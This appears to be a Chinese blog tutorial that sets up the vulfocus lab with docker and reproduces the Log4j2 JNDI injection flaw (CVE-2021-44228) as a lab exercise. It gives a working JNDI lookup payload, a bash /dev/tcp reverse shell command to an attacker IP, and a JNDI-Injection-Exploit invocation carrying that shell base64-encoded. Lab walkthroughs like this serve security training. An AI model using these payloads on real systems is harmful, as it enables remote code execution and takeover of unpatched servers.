通过vulfocus靶场--复现log4j2漏洞-爱代码爱编程
目录
一、搭建vulfocus靶场
前提:需要安装docker环境
以centos7为例
拉取vulfocus靶场镜像
docker pull vulfocus/vulfocus:latest
//拉取vulfocus靶场镜像
如果这里无法拉取镜像,重启一下docker服务即可
systemctl restart docker
运行vulfocus靶场
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xxx.xxx.xxx.xxx vulfocus/vulfocus
//ip为自己虚拟机的ip
进行这步的时候出现了两个报错:iPv4转发禁用,不可联网;端口被占用
解决方法:
#配置转发,在最下面添加
net.ipv4.ip_forward=1
#重启服务,让配置生效
systemctl restart network
#查看是否成功,如果返回为“net.ipv4.ip_forward = 1”则表示成功
sysctl net.ipv4.ip_forward
解决办法:
docker -ps //查看docker正在运行的进程
//杀死占用端口的进程镜像
docker kill [进程号]
成功后,在浏览器中输入ip地址,会出现下面的页面。
用户名密码默认:admin admin
登录后就可以在镜像管理中下载所需镜像了
因为我的靶场里没有log4j2漏洞的镜像,于是回docker拉了一个
docker pull vulfocus/log4j2-cve-2021-44228
附漏洞镜像拉取命令链接:https://fofapro.github.io/vulfocus/#/images/README
添加完镜像后,就可以回首页选择自己想开的靶场了
二、漏洞复现
1、DNSLog验证
将dnslog中获得的域名,构造payload:${jndi:ldap://qg3t7i.dnslog.cn}
使用Burpsuite抓包,在浏览器中点击,替换payload参数。
直接发包会报400错误,我们需要对它进行编码并重新发包
发包返回200 成功后,DNSlog网站中会接收到解析记录,说明这里有洞
2、JNDI注入反弹shell
利用JNDI注入工具在攻击机上开启JNDI服务器,我在kali安装
JNDI下载地址:Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub
下载好之后拖到kali机里就可以了
反弹shell指令:
bash -i >& /dev/tcp/192.168.137.137/7777 0>&1
第一处标色处是服务器IP;第二处是自己设置的监听端口号(必须是未被占用的端口号)
JNDI启动方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx
标颜色的地方是反弹shell指令经过base64编码后所得。这串代码里只需改此处和最后面服务器的IP
-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP
将反弹shell指令base64编码后,将一整串启动JNDI代码在kali中运行
设置端口号并监听,我这里设置的是7777
执行命令之后,生成可用payload
使用burpsuit抓包,替换payload
按照之前的方法,将payload进行url编码并发包(我使用第一个监听不到,第二个包监听到了)
监听界面出现如下所示,即为反弹shell成功
提交flag